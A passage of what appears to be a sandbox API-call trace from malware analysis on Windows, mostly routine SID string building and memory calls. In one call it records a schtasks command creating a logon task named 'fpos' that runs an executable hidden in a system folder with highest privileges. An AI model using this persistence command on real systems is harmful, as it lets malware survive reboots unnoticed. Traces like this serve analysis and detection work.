[4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0155.312] GetSidIdentifierAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b62 [0155.312] malloc (_Size=0x18) returned 0x2af240 [0155.312] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0155.312] malloc (_Size=0x18) returned 0x2af1a0 [0155.312] malloc (_Size=0x18) returned 0x2af180 [0155.312] SysStringLen (param_1="S-1-") returned 0x4 [0155.313] SysStringLen (param_1="5") returned 0x1 [0155.313] memcpy (in: _Dst=0x1424e8, _Src=0x142338, _Size=0xa | out: _Dst=0x1424e8) returned 0x1424e8 [0155.313] memcpy (in: _Dst=0x1424f0, _Src=0x142308, _Size=0x4 | out: _Dst=0x1424f0) returned 0x1424f0 [0155.313] free (_Block=0x2af240) [0155.313] free (_Block=0x2af1a0) [0155.313] GetSidSubAuthorityCount (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b61 [0155.313] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b68 [0155.313] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0155.313] malloc (_Size=0x18) returned 0x2af1a0 [0155.313] malloc (_Size=0x18) returned 0x2af240 [0155.313] SysStringLen (param_1="S-1-5") returned 0x5 [0155.313] SysStringLen (param_1="-") returned 0x1 [0155.313] memcpy (in: _Dst=0x142308, _Src=0x1424e8, _Size=0xc | out: _Dst=0x142308) returned 0x142308 [0155.313] memcpy (in: _Dst=0x142312, _Src=0x142338, _Size=0x4 | out: _Dst=0x142312) returned 0x142312 [0155.313] free (_Block=0x2af180) [0155.313] free (_Block=0x2af1a0) [0155.313] malloc (_Size=0x18) returned 0x2af1a0 [0155.313] malloc (_Size=0x18) returned 0x2af180 [0155.313] SysStringLen (param_1="S-1-5-") returned 0x6 [0155.313] SysStringLen (param_1="21") returned 0x2 [0155.313] memcpy (in: _Dst=0x142338, _Src=0x142308, _Size=0xe | out: _Dst=0x142338) returned 0x142338 [0155.313] memcpy (in: _Dst=0x142344, _Src=0x1424e8, _Size=0x6 | out: _Dst=0x142344) returned 0x142344 [0155.313] free (_Block=0x2af240) [0155.314] free (_Block=0x2af1a0) [0155.314] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b6c [0155.314] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0155.314] malloc (_Size=0x18) returned 0x2af1a0 [0155.314] malloc (_Size=0x18) returned 0x2af240 [0155.314] SysStringLen (param_1="S-1-5-21") returned 0x8 [0155.314] SysStringLen (param_1="-") returned 0x1 [0155.314] memcpy (in: _Dst=0x1424e8, _Src=0x142338, _Size=0x12 | out: _Dst=0x1424e8) returned 0x1424e8 [0155.314] memcpy (in: _Dst=0x1424f8, _Src=0x142308, _Size=0x4 | out: _Dst=0x1424f8) returned 0x1424f8 [0155.314] free (_Block=0x2af180) [0155.314] free (_Block=0x2af1a0) [0155.314] malloc (_Size=0x18) returned 0x2af1a0 [0155.314] malloc (_Size=0x18) returned 0x2af180 [0155.314] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0155.314] SysStringLen (param_1="4219442223") returned 0xa [0155.314] memcpy (in: _Dst=0x118128, _Src=0x1424e8, _Size=0x14 | out: _Dst=0x118128) returned 0x118128 [0155.314] memcpy (in: _Dst=0x11813a, _Src=0x142338, _Size=0x16 | out: _Dst=0x11813a) returned 0x11813a [0155.314] free (_Block=0x2af240) [0155.314] free (_Block=0x2af1a0) [0155.314] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b70 [0155.315] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0155.315] malloc (_Size=0x18) returned 0x2af1a0 [0155.315] malloc (_Size=0x18) returned 0x2af240 [0155.315] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0155.315] SysStringLen (param_1="-") returned 0x1 [0155.315] memcpy (in: _Dst=0x118038, _Src=0x118128, _Size=0x28 | out: _Dst=0x118038) returned 0x118038 [0155.315] memcpy (in: _Dst=0x11805e, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x11805e) returned 0x11805e [0155.315] free (_Block=0x2af180) [0155.315] free (_Block=0x2af1a0) [0155.315] malloc (_Size=0x18) returned 0x2af1a0 [0155.315] malloc (_Size=0x18) returned 0x2af180 [0155.315] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0155.315] SysStringLen (param_1="4223814209") returned 0xa [0155.315] memcpy (in: _Dst=0x107588, _Src=0x118038, _Size=0x2a | out: _Dst=0x107588) returned 0x107588 [0155.315] memcpy (in: _Dst=0x1075b0, _Src=0x1424e8, _Size=0x16 | out: _Dst=0x1075b0) returned 0x1075b0 [0155.315] free (_Block=0x2af240) [0155.315] free (_Block=0x2af1a0) [0155.315] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b74 [0155.315] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0155.316] malloc (_Size=0x18) returned 0x2af1a0 [0155.316] malloc (_Size=0x18) returned 0x2af240 [0155.316] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0155.316] SysStringLen (param_1="-") returned 0x1 [0155.316] memcpy (in: _Dst=0x12d6f8, _Src=0x107588, _Size=0x3e | out: _Dst=0x12d6f8) returned 0x12d6f8 [0155.316] memcpy (in: _Dst=0x12d734, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x12d734) returned 0x12d734 [0155.316] free (_Block=0x2af180) [0155.316] free (_Block=0x2af1a0) [0155.316] malloc (_Size=0x18) returned 0x2af1a0 [0155.316] malloc (_Size=0x18) returned 0x2af180 [0155.316] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0155.316] SysStringLen (param_1="3835049652") returned 0xa [0155.316] memcpy (in: _Dst=0x107588, _Src=0x12d6f8, _Size=0x40 | out: _Dst=0x107588) returned 0x107588 [0155.316] memcpy (in: _Dst=0x1075c6, _Src=0x1424e8, _Size=0x16 | out: _Dst=0x1075c6) returned 0x1075c6 [0155.316] free (_Block=0x2af240) [0155.316] free (_Block=0x2af1a0) [0155.316] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b78 [0155.316] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0155.316] malloc (_Size=0x18) returned 0x2af1a0 [0155.317] malloc (_Size=0x18) returned 0x2af240 [0155.317] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0155.317] SysStringLen (param_1="-") returned 0x1 [0155.317] memcpy (in: _Dst=0x12d6f8, _Src=0x107588, _Size=0x54 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0155.317] memcpy (in: _Dst=0x12d74a, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x12d74a) returned 0x12d74a [0155.317] free (_Block=0x2af180) [0155.317] free (_Block=0x2af1a0) [0155.317] malloc (_Size=0x18) returned 0x2af1a0 [0155.317] malloc (_Size=0x18) returned 0x2af180 [0155.317] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0155.317] SysStringLen (param_1="1000") returned 0x4 [0155.317] memcpy (in: _Dst=0x107588, _Src=0x12d6f8, _Size=0x56 | out: _Dst=0x107588) returned 0x107588 [0155.317] memcpy (in: _Dst=0x1075dc, _Src=0x1424e8, _Size=0xa | out: _Dst=0x1075dc) returned 0x1075dc [0155.317] free (_Block=0x2af240) [0155.317] free (_Block=0x2af1a0) [0155.317] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0155.317] malloc (_Size=0x5e) returned 0x2b0ad0 [0155.317] free (_Block=0x2af180) [0155.317] malloc (_Size=0x18) returned 0x2af180 [0155.318] free (_Block=0x2b0ad0) [0155.318] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0155.326] GetLastError () returned 0x7a [0155.326] malloc (_Size=0x14) returned 0x2af1a0 [0155.326] malloc (_Size=0x16) returned 0x2af240 [0155.326] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af1a0, cchName=0xe7ca94, ReferencedDomainName=0x2af240, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0155.327] malloc (_Size=0x18) returned 0x2af280 [0155.327] malloc (_Size=0x18) returned 0x2af260 [0155.327] free (_Block=0x2af1a0) [0155.327] free (_Block=0x2af240) [0155.327] free (_Block=0x2b8710) [0155.327] free (_Block=0x2af260) [0155.327] free (_Block=0x2af280) [0155.328] free (_Block=0x2af180) [0155.328] free (_Block=0x2b8b50) [0155.328] malloc (_Size=0x48) returned 0x2ad680 [0155.329] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0155.337] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0155.337] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0155.337] malloc (_Size=0x18) returned 0x2af180 [0155.337] CreateEnvironmentBlock () returned 0x1 [0155.343] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0155.343] malloc (_Size=0x18) returned 0x2af280 [0155.343] CreateProcessAsUserW (in: hToken=0x2d4, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"fpos\" /sc ONLOGON /tr \"'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x18a730, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"fpos\" /sc ONLOGON /tr \"'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x300, hThread=0x2fc, dwProcessId=0xcf8, dwThreadId=0xcfc)) returned 1 [0155.349] CloseHandle (hObject=0x300) returned 1 [0155.349] CloseHandle (hObject=0x2fc) returned 1 [0155.349] free (_Block=0x2af280) [0155.349] DestroyEnvironmentBlock () returned 0x1 [0155.349] malloc (_Size=0x48) returned 0x2ad6d0 [0155.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x290d7ce0, dwHighDateTime=0x1d8a92a)) [0155.349] SetEvent (hEvent=0x1f0) returned 1 [0155.350] CloseHandle (hObject=0x234) returned 1 [0155.350] CloseHandle (hObject=0x2d4) returned 1 [0155.410] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0155.410] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0155.410] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0155.974] SetLastError (dwErrCode=0x0) [0155.974] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0155.974] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0155.974] SetLastError (dwErrCode=0x0) [0155.974] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0155.974] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0155.974] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 [0155.974] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0155.974] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0155.974] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0155.977] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0155.978] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0155.978] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0155.978] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0155.979] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0155.979] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0155.979] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0155.981] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0155.981] GetCurrentThread () returned 0xfffffffffffffffe [0155.981] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x244) returned 1 [0155.981] malloc (_Size=0xd8) returned 0x2b35c0 [0155.981] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0155.982] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0155.982] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0155.982] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0155.982] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0155.982] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0155.982] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0155.983] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0155.983] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0155.983] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0155.983] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0155.983] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0155.983] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0155.984] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0155.984] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0155.984] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0155.984] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0155.984] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0155.984] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0155.985] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0155.985] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0155.985] malloc (_Size=0x18) returned 0x2af180 [0155.985] DuplicateTokenEx (in: hExistingToken=0x244, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x248) returned 1 [0155.985] malloc (_Size=0x48) returned 0x2ad6d0 [0155.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2960cd00, dwHighDateTime=0x1d8a92a)) [0155.985] SetEvent (hEvent=0x1f0) returned 1 [0155.987] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0155.987] GetLastError () returned 0x7a [0155.987] malloc (_Size=0x2c) returned 0x2b8b10 [0155.987] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x2b8b10, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2b8b10, ReturnLength=0xe7cb60) returned 1 [0155.987] IsValidSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0155.987] GetLengthSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0155.987] malloc (_Size=0x1c) returned 0x2b8650 [0155.987] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8650, pSourceSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8650*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0155.988] GetSidIdentifierAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b22 [0155.988] malloc (_Size=0x18) returned 0x2af180 [0155.988] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0155.988] malloc (_Size=0x18) returned 0x2af280 [0155.988] malloc (_Size=0x18) returned 0x2af260 [0155.988] SysStringLen (param_1="S-1-") returned 0x4 [0155.988] SysStringLen (param_1="5") returned 0x1 [0155.988] memcpy (in: _Dst=0x142458, _Src=0x142578, _Size=0xa | out: _Dst=0x142458) returned 0x142458 [0155.988] memcpy (in: _Dst=0x142460, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x142460) returned 0x142460 [0155.988] free (_Block=0x2af180) [0155.988] free (_Block=0x2af280) [0155.988] GetSidSubAuthorityCount (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b21 [0155.988] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b28 [0155.988] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0155.988] malloc (_Size=0x18) returned 0x2af280 [0155.988] malloc (_Size=0x18) returned 0x2af180 [0155.988] SysStringLen (param_1="S-1-5") returned 0x5 [0155.988] SysStringLen (param_1="-") returned 0x1 [0155.989] memcpy (in: _Dst=0x1423c8, _Src=0x142458, _Size=0xc | out: _Dst=0x1423c8) returned 0x1423c8 [0155.989] memcpy (in: _Dst=0x1423d2, _Src=0x142578, _Size=0x4 | out: _Dst=0x1423d2) returned 0x1423d2 [0155.989] free (_Block=0x2af260) [0155.989] free (_Block=0x2af280) [0155.989] malloc (_Size=0x18) returned 0x2af280 [0155.989] malloc (_Size=0x18) returned 0x2af260 [0155.989] SysStringLen (param_1="S-1-5-") returned 0x6 [0155.989] SysStringLen (param_1="21") returned 0x2 [0155.989] memcpy (in: _Dst=0x142578, _Src=0x1423c8, _Size=0xe | out: _Dst=0x142578) returned 0x142578 [0155.989] memcpy (in: _Dst=0x142584, _Src=0x142458, _Size=0x6 | out: _Dst=0x142584) returned 0x142584 [0155.989] free (_Block=0x2af180) [0155.989] free (_Block=0x2af280) [0155.989] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b2c [0155.989] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0155.989] malloc (_Size=0x18) returned 0x2af280 [0155.989] malloc (_Size=0x18) returned 0x2af180 [0155.989] SysStringLen (param_1="S-1-5-21") returned 0x8 [0155.989] SysStringLen (param_1="-") returned 0x1 [0155.989] memcpy (in: _Dst=0x142458, _Src=0x142578, _Size=0x12 | out: _Dst=0x142458) returned 0x142458 [0155.989] memcpy (in: _Dst=0x142468, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x142468) returned 0x142468 [0155.989] free (_Block=0x2af260) [0155.989] free (_Block=0x2af280) [0155.989] malloc (_Size=0x18) returned 0x2af280 [0155.990] malloc (_Size=0x18) returned 0x2af260 [0155.990] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0155.990] SysStringLen (param_1="4219442223") returned 0xa [0155.990] memcpy (in: _Dst=0x1179f8, _Src=0x142458, _Size=0x14 | out: _Dst=0x1179f8) returned 0x1179f8 [0155.990] memcpy (in: _Dst=0x117a0a, _Src=0x142578, _Size=0x16 | out: _Dst=0x117a0a) returned 0x117a0a [0155.990] free (_Block=0x2af180) [0155.990] free (_Block=0x2af280) [0155.990] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b30 [0155.990] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0155.990] malloc (_Size=0x18) returned 0x2af280 [0155.990] malloc (_Size=0x18) returned 0x2af180 [0155.990] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0155.990] SysStringLen (param_1="-") returned 0x1 [0155.990] memcpy (in: _Dst=0x1179a8, _Src=0x1179f8, _Size=0x28 | out: _Dst=0x1179a8) returned 0x1179a8 [0155.990] memcpy (in: _Dst=0x1179ce, _Src=0x142458, _Size=0x4 | out: _Dst=0x1179ce) returned 0x1179ce [0155.990] free (_Block=0x2af260) [0155.990] free (_Block=0x2af280) [0155.990] malloc (_Size=0x18) returned 0x2af280 [0155.990] malloc (_Size=0x18) returned 0x2af260 [0155.990] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0155.990] SysStringLen (param_1="4223814209") returned 0xa [0155.990] memcpy (in: _Dst=0x12dc48, _Src=0x1179a8, _Size=0x2a | out: _Dst=0x12dc48) returned 0x12dc48 [0155.991] memcpy (in: _Dst=0x12dc70, _Src=0x142458, _Size=0x16 | out: _Dst=0x12dc70) returned 0x12dc70 [0155.991] free (_Block=0x2af180) [0155.991] free (_Block=0x2af280) [0155.991] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b34 [0155.991] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0155.991] malloc (_Size=0x18) returned 0x2af280 [0155.991] malloc (_Size=0x18) returned 0x2af180 [0155.991] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0155.991] SysStringLen (param_1="-") returned 0x1 [0155.991] memcpy (in: _Dst=0x107688, _Src=0x12dc48, _Size=0x3e | out: _Dst=0x107688) returned 0x107688 [0155.991] memcpy (in: _Dst=0x1076c4, _Src=0x142458, _Size=0x4 | out: _Dst=0x1076c4) returned 0x1076c4 [0155.991] free (_Block=0x2af260) [0155.991] free (_Block=0x2af280) [0155.991] malloc (_Size=0x18) returned 0x2af280 [0155.991] malloc (_Size=0x18) returned 0x2af260 [0155.991] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0155.991] SysStringLen (param_1="3835049652") 